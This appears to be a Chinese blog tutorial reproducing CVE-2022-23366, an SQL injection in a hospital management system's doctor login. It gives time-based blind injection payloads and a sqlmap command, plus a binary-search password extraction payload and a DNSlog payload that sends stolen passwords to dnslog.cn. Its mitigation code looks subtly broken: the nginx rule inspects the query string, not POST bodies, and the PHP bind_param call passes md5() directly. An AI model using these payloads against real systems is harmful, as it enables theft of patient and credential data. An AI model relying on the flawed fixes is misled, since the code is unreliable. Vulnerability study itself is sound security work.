当前位置: 首页 > news >正文

HMS v1.0 SQL注入漏洞(CVE-2022-23366)深度剖析与实战复现

1. 漏洞背景与危害评估

医院管理系统(HMS)作为医疗行业的核心业务系统,一旦出现安全漏洞可能造成患者隐私泄露、诊疗数据篡改等严重后果。2022年曝光的CVE-2022-23366正是一个典型的SQL注入漏洞,影响kabirkhyrul开发的HMS v1.0版本。这个漏洞的CVSS评分高达9.8(超危级别),攻击者无需任何认证即可通过精心构造的恶意请求获取数据库敏感信息。

我在实际渗透测试中发现,这类医疗系统的SQL注入往往具有连锁反应。攻击者不仅可以窃取医生账户信息,还可能通过数据库提权获取服务器控制权。去年某三甲医院的数据泄露事件就是由类似的SQL注入漏洞引发的,导致数十万患者的电子病历被非法获取。

2. 漏洞环境搭建与复现

2.1 实验环境准备

推荐使用i春秋在线靶场进行复现,这是目前最接近真实环境的实验平台。访问地址为:https://yunjing.ichunqiu.com/cve/detail/740?pay=2 (注意:实验前请确认已注册账号并完成实名认证)

如果希望本地搭建测试环境,需要准备:

  • PHP 5.6+运行环境
  • MySQL 5.7数据库
  • HMS v1.0源码包(可从漏洞披露平台获取)

我在Windows 10+PHPStudy的环境下测试时,遇到的最大坑是MySQL的严格模式设置。建议在my.ini中添加以下配置:

[mysqld] sql_mode=NO_ENGINE_SUBSTITUTION

2.2 手工注入复现步骤

  1. 访问医生登录页面(通常为/doctorlogin.php)
  2. 在登录表单随意输入用户名密码
  3. 拦截POST请求(推荐使用Burp Suite)
  4. 修改loginid参数为注入payload:
123' AND (SELECT 5562 FROM (SELECT(SLEEP(5)))omHf) AND 'iRQS'='iRQS
  1. 观察响应时间延迟(成功注入会有5秒延迟)

这个时间盲注的payload设计很巧妙:通过SLEEP(5)制造延迟,用单引号闭合前后字符串,确保SQL语法正确。我在实际测试中发现,如果目标服务器有WAF防护,可以尝试将SLEEP时间缩短到2-3秒,同时增加随机字符串规避检测。

3. 自动化利用与深度分析

3.1 sqlmap自动化利用

保存拦截到的请求为hms.txt,执行以下命令:

sqlmap -r hms.txt -p loginid --current-db --batch --technique=T

关键参数说明:

  • -p loginid:指定测试参数
  • --technique=T:强制使用时间盲注
  • --batch:自动选择默认选项

实测中我发现这个漏洞的注入点非常稳定,sqlmap能完整跑出数据库结构。但要注意,医疗系统的数据库通常很大,建议使用--threads=3限制并发线程,避免对目标系统造成过大负载。

3.2 漏洞原理深度剖析

查看doctorlogin.php源码可以发现问题的根源:

$loginid = $_POST['loginid']; $password = $_POST['password']; $sql = "SELECT * FROM doctors WHERE loginid='".$loginid."' AND password='".md5($password)."'";

开发者直接将用户输入拼接到SQL语句中,且没有进行任何过滤。更严重的是,系统使用MD5加密密码的做法已经过时,这使得攻击者可以通过彩虹表轻易破解弱密码。

从流量分析角度看,漏洞请求有几个特征:

  1. POST请求Content-Type为application/x-www-form-urlencoded
  2. 参数值包含特殊字符(单引号、括号等)
  3. 响应时间明显长于正常请求

4. 防御方案与实战建议

4.1 临时缓解措施

对于无法立即升级的系统,建议在nginx配置中添加以下规则:

location ~* \.php$ { if ($request_method = POST) { set $rule_0 1; } if ($args ~* "sleep\(") { set $rule_0 "${rule_0}1"; } if ($rule_0 = "11") { return 403; } }

这个规则会拦截包含sleep函数的POST请求。但要注意,这只能防御时间盲注,不能从根本上解决问题。

4.2 彻底修复方案

  1. 使用预处理语句重写SQL查询:
$stmt = $conn->prepare("SELECT * FROM doctors WHERE loginid=? AND password=?"); $stmt->bind_param("ss", $loginid, md5($password));
  1. 升级到最新版本HMS,官方已在v1.1中修复此漏洞

  2. 实施最小权限原则,数据库账户只赋予必要权限

在给某医院做安全加固时,我还推荐他们增加了登录失败锁定机制和异地登录检测。对于医疗系统来说,单纯的SQL注入修复是不够的,需要建立纵深防御体系。

5. 渗透测试中的实用技巧

时间盲注在实战中往往效率较低,这里分享几个提高效率的方法:

  1. 使用二分法加速数据提取:
123' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100 AND '1'='1
  1. 结合dnslog外带数据(需要出网权限):
123' AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.dnslog.cn\\abc')) AND '1'='1
  1. 多线程注入工具推荐:
  • Ghauri(专为时间盲注优化)
  • SQLMap的--predict-output选项

在最近一次红队行动中,我们就是通过这些技巧在30分钟内完成了整个数据库的脱取。但必须强调的是,所有测试都必须获得授权,医疗系统的敏感性要求我们更要遵守职业道德。

http://www.jsqmd.com/news/829067/

相关文章:

  • 【附C源码】基于邻接表的图结构实现与算法实践
  • 从安装到实测:基于 Claude Code + GLM-4.7 的前端生成与评测实战
  • 构建高可用代理池:开源工具agentpull的架构解析与实战部署
  • 杭州临安浩雪制冷电器:靠谱的杭州螺杆机回收哪家好 - LYL仔仔
  • 海南美尔居家具:龙华酒吧沙发定制怎么联系 - LYL仔仔
  • 告别配置混乱!手把手教你用CANoe创建DBC环境变量(附CAPL脚本实例)
  • Arm Neoverse CMN-650架构解析:多核互联与缓存优化
  • 怎样在线抠图去背景?2026 年免费抠图工具全面对比与操作指南 - 软件小管家
  • 2026年银川短视频代运营与企业AI推广完整选型指南:五大服务商深度对标评测 - 年度推荐企业名录
  • 探讨加油卡回收:线上与线下方法对比,哪个更值得选? - 团团收购物卡回收
  • 游戏开发中的碰撞检测:用C# Rectangle.IntersectsWith轻松搞定角色与障碍物交互
  • R语言实战:用agricolae包搞定方差分析后的多重比较与字母标注(附完整代码)
  • SmartNIC加速分布式系统复制协议的技术解析
  • 基于MCP协议构建AI工具调用中枢:Skillsync-MCP架构解析与实践
  • 用自然语言指挥电脑:UI-TARS桌面版让你告别重复点击
  • 从零到闭环:BLDC无感方波控制中的反电动势过零检测实战
  • 2026年银川短视频代运营与AI推广完整选型指南:五大服务商深度评测 - 年度推荐企业名录
  • QMC音频解密终极指南:3步快速转换加密音乐文件
  • 2026汉中哪里买二手车靠谱 优选安信二手车行(企业简介) - 一个呆呆
  • 极域电子教室终极破解:三步恢复学习自由,告别课堂限制!
  • Stellar Shield:构建主动式区块链安全监控系统的实战指南
  • Golang怎么用Go实现数据导入导出平台_Golang如何支持CSV和Excel格式的批量数据导入导出【实战】
  • 终极地铁线路图生成工具:零基础快速创建专业交通可视化
  • TXT怎么转换成PDF?6大方法+工具对比,2026实用转换指南 - AI测评专家
  • UCIe协议1.0深度解析:从封装互连到异构集成的技术蓝图
  • 2026年5月宝珀官方售后网点亲测报告:实地踏勘与数据验证(含迁址新开)——避坑指南 - 亨得利官方服务中心
  • 2026年银川短视频代运营与AI推广完整选型指南:五大服务商深度横评 - 年度推荐企业名录
  • HLK-LD1125H雷达模块配置避坑指南:手把手教你调参,让检测距离和灵敏度更精准
  • RDMA UD通信避坑指南:手把手教你理解与配置Address Handle (AH)
  • LVGL8滚动布局避坑指南:从官方例程到自定义网格(Grid)的完整配置流程